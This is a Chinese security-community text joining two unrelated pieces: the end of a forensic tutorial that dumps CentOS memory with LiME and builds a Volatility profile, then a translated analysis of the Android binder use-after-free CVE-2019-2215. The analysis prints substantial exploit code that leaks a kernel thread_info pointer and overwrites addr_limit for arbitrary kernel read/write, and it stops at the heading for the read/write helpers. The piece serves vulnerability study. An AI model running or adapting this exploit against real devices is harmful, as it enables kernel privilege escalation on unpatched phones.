-rw-r--r-- 1 root root 505173 May 20 10:44 lime.o
-rw-r--r-- 1 root root 6614 Sep 28 2017 main.c
-rw-r--r-- 1 root root 175408 May 20 10:44 main.o
-rw-r--r-- 1 root root 1661 Sep 28 2017 Makefile
-rw-r--r-- 1 root root 1722 Sep 28 2017 Makefile.sample
-rw-r--r-- 1 root root 0 May 20 10:44 Module.markers
-rw-r--r-- 1 root root 0 May 20 10:44 Module.symvers
-rw-r--r-- 1 root root 3889 Sep 28 2017 tcp.c
-rw-r--r-- 1 root root 166152 May 20 10:44 tcp.o
### 1.3 抓取内存
/home/yunwei/Desktop/malware/centos5.lime为自定义路径
## 进入内核模式抓取内存
[root@localhost src]# insmod lime-`uname -r`.ko path=/home/yunwei/Desktop/malware/centos5.lime format=lime
## 再次抓取内存前要先运行以下命令退出内核模式
[root@localhost src]# rmmod lime
### 1.4 制作元数据
#### 1.4.1 dwarfdump使用
安装调试文件导出工具dwarfdump：
* 1) 下载与编译libdwarf
## 解压Libdwarf
[root@localhost src]# git clone https://github.com/tomhughes/libdwarf.git
[root@localhost src]# tar -zxvf libdwarf.tar.gz
## 光盘安装依赖包
[root@localhost src]# cd /media/CentOS_5.5_Final/CentOS/
[root@localhost src]# rpm -ivh /media/CentOS_5.5_Final/CentOS/elfutils-libelf-0.137-3.el5.x86_64.rpm
[root@localhost libdwarf]# rpm -ivh elfutils-libelf-devel-static-0.137-3.el5.x86_64.rpm elfutils-libelf-devel-0.137-3.el5.x86_64.rpm elfutils-libelf-0.137-3.el5.x86_64.rpm
## 编译安装 libdwarf
[root@localhost CentOS]# cd /home/yunwei/Desktop/malware/libdwarf
[root@localhost CentOS]# ./configure
[root@localhost libdwarf]# make
### 若没有报错，则表示安装正确。
[root@localhost libdwarf]# cd dwarfdump/
[root@localhost dwarfdump]# make install
cp dwarfdump /usr/local/bin/dwarfdump
cp ./dwarfdump.conf /usr/local/lib/dwarfdump.conf
cp ./dwarfdump.1 /usr/local/share/man/man1/dwarfdump.1
[root@localhost dwarfdump]# dwarfdump -h
### 输入dwarfdump -h若没有报错，则表示安装正确。
* 2) 生成内存镜像
[root@localhost malware]# tar -zxvf volatility.tar.gz
[root@localhost malware]# cd volatility/tools/linux/
## 错误
[root@localhost linux]# make
make -C //lib/modules/2.6.18-194.el5/build CONFIG_DEBUG_INFO=y M="/home/yunwei/Desktop/malware/volatility/tools/linux" modules
make[1]: Entering directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
CC [M] /home/yunwei/Desktop/malware/volatility/tools/linux/module.o
/home/yunwei/Desktop/malware/volatility/tools/linux/module.c:214: error: redefinition of ‘struct module_sect_attr’
/home/yunwei/Desktop/malware/volatility/tools/linux/module.c:221: error: redefinition of ‘struct module_sect_attrs’
/home/yunwei/Desktop/malware/volatility/tools/linux/module.c:375:5: warning: "STATS" is not defined
/home/yunwei/Desktop/malware/volatility/tools/linux/module.c:391:5: warning: "DEBUG" is not defined
make[2]: *** [/home/yunwei/Desktop/malware/volatility/tools/linux/module.o] Error 1
make[1]: *** [_module_/home/yunwei/Desktop/malware/volatility/tools/linux] Error 2
make[1]: Leaving directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
make: *** [dwarf] Error 2
### 注释掉 198,7 ~ 221,7,编译问题就解决了
/*
#if LINUX_VERSION_CODE == KERNEL_VERSION(2,6,18)
....
struct module_sections module_sect_attrs;
#endif
*/
## 注释代码之后，编译输出状态
[root@localhost linux]# make
make -C //lib/modules/2.6.18-194.el5/build CONFIG_DEBUG_INFO=y M="/home/yunwei/Desktop/malware/volatility-2.6/tools/linux" modules
make[1]: Entering directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
CC [M] /home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.o
/home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.c:354:5: warning: "STATS" is not defined
/home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.c:370:5: warning: "DEBUG" is not defined
Building modules, stage 2.
MODPOST
CC /home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.mod.o
LD [M] /home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.ko
make[1]: Leaving directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
dwarfdump -di module.ko > module.dwarf
make -C //lib/modules/2.6.18-194.el5/build M="/home/yunwei/Desktop/malware/volatility-2.6/tools/linux" clean
make[1]: Entering directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
CLEAN /home/yunwei/Desktop/malware/volatility-2.6/tools/linux/.tmp_versions
make[1]: Leaving directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
### 1.5 volatility使用内存镜像分析
将module.dwarf文件和/boot中对应目标系统内核版本的System.map文件打包成.zip文件，放入/volatility/volatility/plugins/overlays/linux/目录中
## 打包元数据为CentOS5.5_2.6.18-194.el5-x86_64.zip
[root@localhost linux]# zip CentOS5.5_2.6.18-194.el5-x86_64.zip module.dwarf /boot/System.map-`uname -r`
## 将CentOS5.5_2.6.18-194.el5-x86_64.zip放到volatility-master\volatility\plugins\overlays\linux目录下
## 测试命令-列举进程
D:\malware\volatility-master>vol.py -f "D:\malware\CentOS5.5_2.6.18-194.el5_test.lime" --profile=LinuxCentOS5_5_2_6_18-194_el5-x86_64x64 linux_pslist
Volatility Foundation Volatility Framework 2.6
Offset Name Pid PPid Uid Gid DTB Start Time
------------------ -------------------- --------------- --------------- --------------- ------ ------------------ ---------- 0xffff81003fe3a7a0 init 1 0 0 0 0x0000000013332000 2018-05-20 11:33:20 UTC+0000
0xffff81003fe3a040 migration/0 2 1 0 0 ------------------ 2018-05-20 11:33:20 UTC+0000
0xffff81003fe3e7e0 ksoftirqd/0 3 1 0 0 ------------------ 2018-05-20 11:33:20 UTC+0000
0xffff81003fe3e080 events/0 4 1 0 0 ------------------ 2018-05-20 11:33:20 UTC+0000
0xffff810037fe7820 khelper 5 1 0 0 ------------------ 2018-05-20 11:33:20 UTC+0000
0xffff810037fd90c0 kthread 14 1 0 0 ------------------ 2018-05-20 11:33:20 UTC+0000
0xffff810037cdc040 kblockd/0 18 14 0 0 ------------------ 2018-05-20 11:33:20 UTC+0000
0xffff81003f4ea7e0 kacpid 19 14 0 0 ------------------ 2018-05-20 11:33:20 UTC+0000
### 1.6 参考
Linux安装GCC的一系列问题的解决
<https://blog.csdn.net/yvanboyang/article/details/73274004>
CentOS 5.5 安装GCC与g++步骤
<https://www.linuxidc.com/Linux/2011-07/38657.htm>
CentOS 6.5使用安装盘自带的RPM包手动安装gcc
<https://blog.csdn.net/testcs_dn/article/details/41727767>
Volatility学习笔记二-制作SLES11SP2的profile
<https://www.jianshu.com/p/28848d3d9c1b>
Build Volatility profile on Centos 5
<http://vdchuyen.com/blog/2016/01/01/build-volatility-centos-profile.html> | 社区文章 |
本文原文来自[Analyzing Android's CVE-2019-2215 (/dev/binder
UAF)](https://dayzerosec.com/posts/analyzing-androids-cve-2019-2215-dev-binder-uaf/ "Analyzing Android's CVE-2019-2215 \(/dev/binder
UAF\)")。研究的过程中后来Project Zero又出了一篇博客，所以加了Project Zero博客中的一些图片和注释，好理解一点。
## 前言
在过去的几周中，那些经常在Twitch上访问DAY[0]的人可能已经看到我正在努力理解Project Zero发布的最新android
binder中的UAF漏洞。这并不是一个新的漏洞，它已在2018年2月发现并在主线内核中得到修复，但是Project
Zero发现许多设备没有在下游收到补丁。其中一些设备包括Pixel 2，华为P20和三星Galaxy
S7，S8和S9。我相信其中许多设备在过去几周内都收到了安全补丁，这些补丁最终修补了该漏洞。
在虚拟机(android-x86)上运行内核调试器并使用存在漏洞的Pixel 2进行了几轮测试之后，我逐渐理解了Jann Horn和Maddie
Stone编写的EXP。如果不了解binder(具体来说是binder_thread对象)以及vectored
I/O的工作原理，则可能不是很好理解EXP。他们利用该漏洞的方法也很聪明，因此我认为写下EXP的原理很酷。
我们将主要关注如何建立任意读写原语，而不会关注诸如禁用SELinux并启用完整root功能之类的后利用的东西，因为已经有很多关于它们的文章了。这是本文要涵盖的内容的简要概述：
1.binder和vectored I/O的基本概述
2.漏洞详情
3.泄漏内核task结构体
4.建立任意读写原语
5.结论
请注意，所有代码均来自内核v4.4.177，这也是我亲自测试的内核。
注：对于建立任意读写原语之后如何禁用SELinux并启用完整root功能等内容如果有兴趣可以阅读[Tailoring CVE-2019-2215 to
Achieve Root](https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/ "Tailoring CVE-2019-2215 to Achieve Root")这篇文章。
## binder和vectored I/O的基本概述
### binder
binder驱动程序是仅用于android的驱动程序，它提供了一种简单的IPC(Inter Process
Communication，进程间通信)方法，包括RPC(Remote Procedure
Calling，远程过程调用)。您可以在主线linux内核中找到此驱动程序的源代码，但是其未针对非android版本进行配置。
有几种不同的binder设备驱动程序可用于不同类型的IPC。使用AIDL(Android Interface Definition
Language，Android接口定义语言)在framework和应用程序进程之间进行通信需要使用/dev/binder；使用HIDL(HAL
Interface Definition
Language，硬件抽象层接口定义语言)在framework和应用程序进程之间进行通信需要使用/dev/hwbinder。最后，对于希望在供应商进程之间使用IPC而不使用HIDL的供应商，可以使用/dev/vndbinder。研究EXP我们只需要关心第一个驱动程序/dev/binder。
与linux中的大多数IPC机制一样，binder通过文件描述符工作，您可以使用EPOLL API向其添加epoll。
### vectored I/O
vectored I/O允许使用多个缓冲区写入数据流，或将数据流读取到多个缓冲区。也称为scatter/gather I/O(分散/聚集
I/O)。与non-vectored I/O相比，vectored
I/O具有一些优势：可以使用不连续的不同缓冲区进行写入或读取，而不会产生大量开销。这也是原子的。
vectored I/O有用的一个示例是当数据包中有一个头部，后跟连续块中的数据的时候。使用vectored
I/O可以将头部和数据保存在单独的非连续缓冲区中，并通过一个系统调用而不是两个系统调用对其进行读取或写入。
使用方法是定义一个iovec结构体数组，其中包含有关要用于I/O的所有缓冲区的信息。该iovec结构体相对较小，在64位系统上仅包含两个QWORD(8字节数据)。
struct iovec { // Size: 0x10
void *iov_base; // 0x00
size_t iov_len; // 0x08
}
## 漏洞详情
binder驱动程序具有清理例程，可以通过ioctl函数在实际关闭驱动程序之前触发该例程。如果你熟悉驱动程序和清理例程，则可能已经猜到了为什么这会引起问题。
让我们看一下Project Zero报告的摘要：如上游提交中所述，`binder_poll`函数传递thread->wait
waitqueue，该队列可以在工作时休眠。当使用epoll的线程使用`BINDER_THREAD_EXIT`显式退出时，waitqueue将被释放，但它不会从相应的epoll数据结构中删除。当进程随后退出时，epoll清理代码将尝试访问waitqueue，这将导致UAF。
摘要有点误导，UAF不在waitqueue本身上。waitqueue是`binder_thread`结构体中内联的结构体，`binder_thread`对象实际上才是UAF的对象。他们在此摘要中提到waitqueue的原因是此问题最初是由Google的syzkaller
fuzzer于2017年发现的，该fuzzer在waitqueue上触发了KASAN检测到的UAF。
### free
让我们看一下有问题的ioctl命令`BINDER_THREAD_EXIT`。
static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
// [...]
switch (cmd) {
// [...]
case BINDER_THREAD_EXIT:
binder_debug(BINDER_DEBUG_THREADS, "%d:%d exit\n",
proc->pid, thread->pid);
binder_free_thread(proc, thread);
thread = NULL;
break;
// [...]
}
}
// [...]
static int binder_free_thread(struct binder_proc *proc,
struct binder_thread *thread)
{
struct binder_transaction *t;
struct binder_transaction *send_reply = NULL;
int active_transactions = 0;
// [...]
while (t) {
active_transactions++;
// [...]
}
if (send_reply)
binder_send_failed_reply(send_reply, BR_DEAD_REPLY);
binder_release_work(&thread->todo);
kfree(thread);
binder_stats_deleted(BINDER_STAT_THREAD);
return active_transactions;
}
有问题的代码是第2610行：kfree(thread)。这就是UAF中free发生的地方。
### use(after free)
我们已经看到了free发生的地方，让我们尝试看看free之后use发生的地方。KASAN报告中的stack trace将对此有所帮助。
Call Trace:
...
_raw_spin_lock_irqsave+0x96/0xc0 kernel/locking/spinlock.c:159
remove_wait_queue+0x81/0x350 kernel/sched/wait.c:50
ep_remove_wait_queue fs/eventpoll.c:595 [inline]
ep_unregister_pollwait.isra.7+0x18c/0x590 fs/eventpoll.c:613
ep_free+0x13f/0x320 fs/eventpoll.c:830
ep_eventpoll_release+0x44/0x60 fs/eventpoll.c:862
...
看上去可能有点让人迷惑，因为`binder_thread`对象是间接引用的，用Ctrl+F是找不到`binder_thread`的。但是如果我们查看`ep_unregister_pollwait`函数：
static void ep_unregister_pollwait(struct eventpoll *ep, struct epitem *epi)
{
struct list_head *lsthead = &epi->pwqlist;
struct eppoll_entry *pwq;
while (!list_empty(lsthead)) {
pwq = list_first_entry(lsthead, struct eppoll_entry, llink);
list_del(&pwq->llink);
ep_remove_wait_queue(pwq);
kmem_cache_free(pwq_cache, pwq);
}
}
我们会发现被释放的`binder_thread`在`eppoll_entry`链表中，即pwq。让我们来看看`ep_remove_wait_queue`函数和`remove_wait_queue`函数。
static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
wait_queue_head_t *whead;
rcu_read_lock();
/*
* If it is cleared by POLLFREE, it should be rcu-safe.
* If we read NULL we need a barrier paired with
* smp_store_release() in ep_poll_callback(), otherwise
* we rely on whead->lock.
*/
whead = smp_load_acquire(&pwq->whead);
if (whead)
remove_wait_queue(whead, &pwq->wait);
rcu_read_unlock();
}
// WRITE-UP COMMENT: q points into stale data / the UAF object
void remove_wait_queue(wait_queue_head_t *q, wait_queue_t *wait)
{
unsigned long flags;
spin_lock_irqsave(&q->lock, flags);
__remove_wait_queue(q, wait);
spin_unlock_irqrestore(&q->lock, flags);
}
q指向已经被释放的数据，这就是在自旋锁上发生KASAN崩溃的原因。在不使用KASAN的普通设备上，如果按原样运行POC很可能不会发生崩溃，这可能会导致你错误地认为设备不存在漏洞。这是因为已经被释放的数据可能仍然有效。
注：`binder_thread`结构体和`__wait_queue_head`结构体如下，`remove_wait_queue`函数中q是waitqueue的表头，指向`binder_thread`结构体中的`wait_queue_head_t`(已经被释放)；wait是waitqueue中的成员，紧随在表头之后。`remove_wait_queue`函数的功能就是删除紧随在表头之后的一个成员。
struct binder_thread {
struct binder_proc *proc;
struct rb_node rb_node;
struct list_head waiting_thread_node;
int pid;
int looper; /* only modified by this thread */
bool looper_need_return; /* can be written by other thread */
struct binder_transaction *transaction_stack;
struct list_head todo;
bool process_todo;
struct binder_error return_error;
struct binder_error reply_error;
wait_queue_head_t wait;
struct binder_stats stats;
atomic_t tmp_ref;
bool is_dead;
struct task_struct *task;
};
struct __wait_queue_head {
spinlock_t lock;
struct list_head task_list;
};
typedef struct __wait_queue_head wait_queue_head_t;
值得注意的是该对象驻留在kmalloc-512缓存中，这是一个可用于漏洞利用的相当不错的缓存，因为与较小的缓存相比，后台进程使用的并不多。在内核v4.4.177中该对象的大小为400个(0x190)字节。因为这个大小位于kmalloc-256和kmalloc-512之间，所以可以假设在大多数设备中这个对象最终在kmalloc-512中。
## 泄漏内核task结构体
### 利用unlink
EXP利用了链表中的unlink操作。假设在自旋锁上不会崩溃，考虑一下`remove_wait_queue`函数，最终也就是`__remove_wait_queue`函数会做什么：
// WRITEUP COMMENT: old points to stale data / the UAF object
static inline void
__remove_wait_queue(wait_queue_head_t *head, wait_queue_t *old)
{
list_del(&old->task_list);
}
// ...
static inline void list_del(struct list_head *entry)
{
__list_del(entry->prev, entry->next);
entry->next = LIST_POISON1;
entry->prev = LIST_POISON2;
}
// ...
static inline void __list_del(struct list_head * prev, struct list_head * next)
{
next->prev = prev;
WRITE_ONCE(prev->next, next);
}
这里最重要的一行代码是`next->prev =
prev`，这本质上是一个unlink，它将上一个对象的指针写入到我们的UAF对象中。这很有用，因为如果我们在UAF对象的位置放置了另一个内核对象，则可以利用这种手段来覆盖另一个内核对象中的数据。Project
Zero使用它泄漏内核数据。哪个对象适合此攻击策略？答案是iovec。
iovec结构体的一些属性使其成为此处漏洞利用的一个很好的候选对象。
1.它们很小(64位机器上为0x10)，可以控制所有字段而几乎没有限制
2.可以通过控制写入多少来控制iovec最终进入哪个kmalloc缓存
3.它们有一个指针(`iov_base`)，这是使用unlink进行破坏的理想字段
在正常情况下，内核将在使用`iov_base`的任何位置对其进行检查。内核将在处理请求之前首先确保`iov_base`是一个用户态指针，但是使用我们刚刚谈到的unlink，我们可以破坏此指针的验证并用内核指针(unlink中的prev)覆盖它。这意味着，当我们从写入了已覆盖的iovec的描述符中读取数据时，我们将读取的数据来自内核态指针，这将使我们能够泄漏与prev指针有关的内核数据，其中所包含的指针足以允许任意读取/写入以及代码执行。
这个过程中的棘手步骤是弄清楚哪个iovec索引与waitqueue对齐。这很重要，因为如果我们没有正确地伪造数据结构设备将死机，我们将无法获得任何乐趣。
如果拥有目标机器的内核镜像则找到waitqueue的偏移量非常容易。通过查看使用`binder_thread`的waitqueue的函数，我们可以轻松地在反汇编代码中找到偏移量。一个这样的函数是`binder_wakeup_thread_ilocked`，它会调用`wake_up_interruptible_sync(&thread->wait)`。在调用之前将地址加载到X0寄存器中时会引用偏移量。
.text:0000000000C0E2B4 ADD X0, X8, #0xA0
.text:0000000000C0E2B8 MOV W1, #1
.text:0000000000C0E2BC MOV W2, #1
.text:0000000000C0E2C0 TBZ W19, #0, loc_C0E2CC
.text:0000000000C0E2C4 BL __wake_up_sync
在内核v4.4.177上，我们可以看到waitqueue位于`binder_thread`对象偏移0xA0处。由于iovec大小为0x10，这意味着数组中的索引0xA处的iovec将与waitqueue对齐。
#define BINDER_THREAD_SZ 0x190
#define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16)
#define WAITQUEUE_OFFSET 0xA0
#define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16)
那么，如何传递一个有效的能通过验证同时又将锁保持在0以避免死锁的`iov_base`地址？由于锁只有一个DWORD(4个字节)，并且可以传递64位指针，因此只需要用mmap映射低32位为0的用户态地址。
dummy_page = mmap((void *)0x100000000ul, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
// ...
struct iovec iovec_array[IOVEC_ARRAY_SZ];
memset(iovec_array, 0, sizeof(iovec_array));
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;
运行EXP时，`IOVEC_INDX_FOR_WQ`处的iovec的`iov_base`和`iov_len`将分别占上锁和链表中的next指针的位置；`IOVEC_INDX_FOR_WQ+1`处的iovec的`iov_base`将占上链表中的prev指针的位置。
让我们看一下unlink之前和之后，运行Android-x86的VM上KGDB中被释放的内存。为此，我在`remove_wait_queue`函数上设置了一个断点，第一个参数也就是RDI寄存器将指向已释放的内存。如果在该函数被调用之前检查此内存将看到以下内容：
Thread 1 hit Breakpoint 11, 0xffffffff812811c2 in ep_unregister_pollwait.isra ()
gdb-peda$ x/50wx $rdi
0xffff8880959d68a0: 0x00000000 0x00000001 0x00001000 0x00000000
0xffff8880959d68b0: 0xdeadbeef 0x00000000 0x00001000 0x00000000
...
请注意数据与上面的iovec结构体之间的对应——例如0xffff88809239a6b0处的值为0xdeadbeef。现在，在`ep_unregister_pollwait`函数的末尾设置一个断点并检查unlink后相同的内存。
Thread 1 hit Breakpoint 12, 0xffffffff812811ee in ep_unregister_pollwait.isra ()
gdb-peda$ x/50wx 0xffff8880959d68a0
0xffff8880959d68a0: 0x00000000 0x00000001 0x959d68a8 0xffff8880
0xffff8880959d68b0: 0x959d68a8 0xffff8880 0x00001000 0x00000000
...
可看到，`IOVEC_INDX_FOR_WQ`处的iovec的`iov_len`和`IOVEC_INDX_FOR_WQ+1`处的iovec的`iov_base`被相同的内核指针覆盖——从而在内核堆中破坏了iovec内部的结构！
注：补上Project
Zero博客中unlink前后的示意图。因为这里waitqueue表头之后只有一个成员，所以prev指针和next指针都被覆写成表头的地址(也就是`binder_thread`+0xa8)。
### 触发泄露
Project Zero使用管道作为泄漏的媒介。攻击策略基本上如下：
1.创建管道
2.在`binder_thread`对象上触发free
3.在管道上调用writev函数
4.触发UAF/unlink破坏iovec结构
5.在管道上调用read函数，它将使用`IOVEC_INDX_FOR_WQ`处未被覆写的iovec读取`dummy_page`数据
6.在管道上再次调用read函数，它将使用`IOVEC_INDX_FOR_WQ+1`处被覆写的iovec读取内核数据
在两个单独的线程中处理读取和写入更容易。
父线程负责：
1.在`binder_thread`对象上触发free
2.在管道上调用writev函数
3.(等待子线程)
4.在管道上再次调用read函数，它将使用`IOVEC_INDX_FOR_WQ+1`处被覆写的iovec读取内核数据
子线程负责：
(接父线程中的第2步)
1.触发UAF/unlink破坏iovec结构
2.在管道上调用read函数，它将使用`IOVEC_INDX_FOR_WQ`处未被覆写的iovec读取`dummy_page`数据
注：这里其实原来文章没有说清楚而且有点问题，我改了一下。首先因为前10个iovec都是0所以直接跳过了，然后iovec[10].iov_len和管道的大小一样所以父进程调用writev函数从iovec[10].iov_base读取`dummy_page`数据到管道导致管道被阻塞，子进程触发UAF/unlink破坏iovec结构再读取管道解除了阻塞，这个时候父进程再调用writev函数从iovec[11].iov_base读取内核数据到管道再读取管道。补上Project
Zero博客中的示意图。
现在就得到了泄漏数据的代码(请注意，从功能上讲，代码与Project
Zero的代码相似，只不过我对其进行了一点清理并将其移植到应用程序中并添加了`__android_log_print`函数)：
struct epoll_event event = {.events = EPOLLIN};
struct iovec iovec_array[IOVEC_ARRAY_SZ];
char leakBuff[0x1000];
int pipefd[2];
int byteSent;
pid_t pid;
memset(iovec_array, 0, sizeof(iovec_array));
if(epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event))
exitWithError("EPOLL_CTL_ADD failed: %s", strerror(errno));
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page; // mutex
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; // linked list next
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; // linked list prev
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;
if(pipe(pipefd))
exitWithError("Pipe failed: %s", strerror(errno));
if(fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000)
exitWithError("F_SETPIPE_SZ failed: %s", strerror(errno));
pid = fork();
if(pid == 0)
{
prctl(PR_SET_PDEATHSIG, SIGKILL);
sleep(2);
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
if(read(pipefd[0], leakBuff, sizeof(leakBuff)) != sizeof(leakBuff))
exitWithError("[CHILD] Read failed: %s", strerror(errno));
close(pipefd[1]);
_exit(0);
}
ioctl(fd, BINDER_THREAD_EXIT, NULL);
byteSent = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
if(byteSent != 0x2000)
exitWithError("[PARENT] Leak failed: writev returned %d, expected 0x2000.", byteSent);
if(read(pipefd[0], leakBuff, sizeof(leakBuff)) != sizeof(leakBuff))
exitWithError("[PARENT] Read failed: %s", strerror(errno));
__android_log_print(ANDROID_LOG_INFO, "EXPLOIT", "leak + 0xE8 = %lx\n", *(uint64_t *)(leakBuff + 0xE8));
thread_info = *(unsigned long *)(leakBuff + 0xE8);
运行此应用程序时，我们将在logcat中获得类似于下面的信息：
com.example.binderuaf I/EXPLOIT: leak + 0xE8 = fffffffec88c5700
该指针指向当前的进程`thread_info`结构体。这个结构体有一个非常有用的成员，我们可以利用它来获取任意的读写原语。
## 建立任意读写原语
### 突破限制
因此，我们泄漏了一个有用的内核指针，现在呢？让我们看看`task_info`的前几个成员。
struct thread_info {
unsigned long flags; /* low level flags */
mm_segment_t addr_limit; /* address limit */
struct task_struct *task; /* main task structure */
int preempt_count; /* 0 => preemptable, <0 => bug */
int cpu; /* cpu */
};
这里比较有趣的一个成员是`addr_limit`。有一些非常重要的与安全有关的宏引用了该字段。让我们看看其中之一——`access_ok`。
#define access_ok(type, addr, size) __range_ok(addr, size)
从`__range_ok`的注释可得知它基本上等同于`(u65)addr + (u65)size <=
current->addr_limit`。在内核尝试访问用户提供的指针的任何地方，几乎都会使用此宏。它用于确保所提供的指针确实是一个用户态指针并防止人们在内核期望用户态指针的地方传递内核态指针。一旦`addr_limit`的限制被突破就可以自由地向期望用户态指针的地方传递内核态指针，且`access_ok`将永远不会失败。
### 获得可控制的写入原语
我们已经演示了可以使用unlink读取和泄漏内核数据——但是如何修改呢？为了泄漏内核数据，我们将iovec结构体写入文件描述符中，并使用unlink覆写其中的一个结构体，以便read函数能泄漏数据。要覆写内核数据，我们可以采用另一种方法。通过使用iovec结构体调用recvmsg函数并以相同的方式对其进行覆写，我们可以使用write函数将写入的数据覆写到相继的iovec结构体上以获得任意写入。
让我们看一下使用recvmsg函数覆盖UAF对象的iovec结构体。
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page; // mutex
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; // linked list next
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; // linked list prev
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; // iov_len of previous, then this element and next element
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8;
就像infoleak中的情况，unlink使用内核指针覆盖了`IOVEC_INDX_FOR_WQ`处的iovec的`iov_len`和`IOVEC_INDX_FOR_WQ+1`处的iovec的`iov_base`。这个内核指针不仅仅指向一些随机数据——如果我们再看一看KGDB的输出，我们会发现它指向`IOVEC_INDX_FOR_WQ`的iovec的`iov_len`(和前面一样)！
一旦recvmsg函数达到此iovec，它将开始将我们通过write函数写入的数据复制到该指针中——这使我们可以将任意数据写入后面经过验证的iovec结构体中，也就是说可以将任何指针传递给下一个iovec的`iov_base`——从而实现了任意写。查看写入的数据，可以看到它确实与`IOVEC_INDX_FOR_WQ`处的`iov_len`以后的数据对齐。
unsigned long second_write_chunk[] = {
1, /* iov_len */
0xdeadbeef, /* iov_base (already used) */
0x8 + 2 * 0x10, /* iov_len (already used) */
current_ptr + 0x8, /* next iov_base (addr_limit) */
8, /* next iov_len (sizeof(addr_limit)) */
0xfffffffffffffffe /* value to write */
};
注：这里其实原来文章也没有说清楚，和之前一样，触发UAF/unlink破坏iovec结构之后iovec[10].iov_len和iovec[11].iov_base的值都是iovec[10].iov_len的地址，iovec[11].iov_len被设置成0x28，也就是说iovec[10].iov_len，iovec[11].iov_base，iovec[11].iov_len，iovec[12].iov_base和iovec[12].iovec_len会被覆写成`second_write_chunk`中的内容，iovec[12].iov_base被覆写成`addr_limit`，iovec[12].iov_len被覆写成`sizeof(addr_limit)`，然后`addr_limit`再被覆写成0xfffffffffffffffe。
现在就得到了修改父进程的`addr_limit`的代码。同样，从功能上讲，代码与Project Zero的代码相似，但是已清理并使用JNI函数。
#define OFFSET_OF_ADDR_LIMIT 8
struct epoll_event event = {.events = EPOLLIN};
struct iovec iovec_array[IOVEC_ARRAY_SZ];
int iovec_corruption_payload_sz;
int sockfd[2];
int byteSent;
pid_t pid;
memset(iovec_array, 0, sizeof(iovec_array));
if(epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event))
exitWithError("EPOLL_CTL_ADD failed: %s", strerror(errno));
unsigned long iovec_corruption_payload[] = {
1, // IOVEC_INDX_FOR_WQ -> iov_len
0xdeadbeef, // IOVEC_INDX_FOR_WQ + 1 -> iov_base
0x8 + (2 * 0x10), // IOVEC_INDX_FOR_WQ + 1 -> iov_len
thread_info + OFFSET_OF_ADDR_LIMIT, // Arb. Write location! IOVEC_INDEX_FOR_WQ + 2 -> iov_base
8, // Arb. Write size (only need a QWORD)! IOVEC_INDEX_FOR_WQ + 2 -> iov_len
0xfffffffffffffffe, // Arb. Write value! Smash it so we can write anywhere.
};
iovec_corruption_payload_sz = sizeof(iovec_corruption_payload);
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page; // mutex
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; // only ask for one byte since we'll only write one byte - linked list next
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; // linked list prev
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; // length of previous iovec + this one + the next one
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD; // will get smashed by iovec_corruption_payload
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8;
if(socketpair(AF_UNIX, SOCK_STREAM, 0, sockfd))
exitWithError("Socket pair failed: %s", strerror(errno));
// Preemptively satisfy the first iovec request
if(write(sockfd[1], "X", 1) != 1)
exitWithError("Write 1 byte failed: %s", strerror(errno));
pid = fork();
if(pid == 0)
{
prctl(PR_SET_PDEATHSIG, SIGKILL);
sleep(2);
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
byteSent = write(sockfd[1], iovec_corruption_payload, iovec_corruption_payload_sz);
if(byteSent != iovec_corruption_payload_sz)
exitWithError("[CHILD] Write returned %d, expected %d.", byteSent, iovec_corruption_payload_sz);
_exit(0);
}
ioctl(fd, BINDER_THREAD_EXIT, NULL);
struct msghdr msg = {
.msg_iov = iovec_array,
.msg_iovlen = IOVEC_ARRAY_SZ
};
recvmsg(sockfd[0], &msg, MSG_WAITALL);
### 任意读写辅助函数
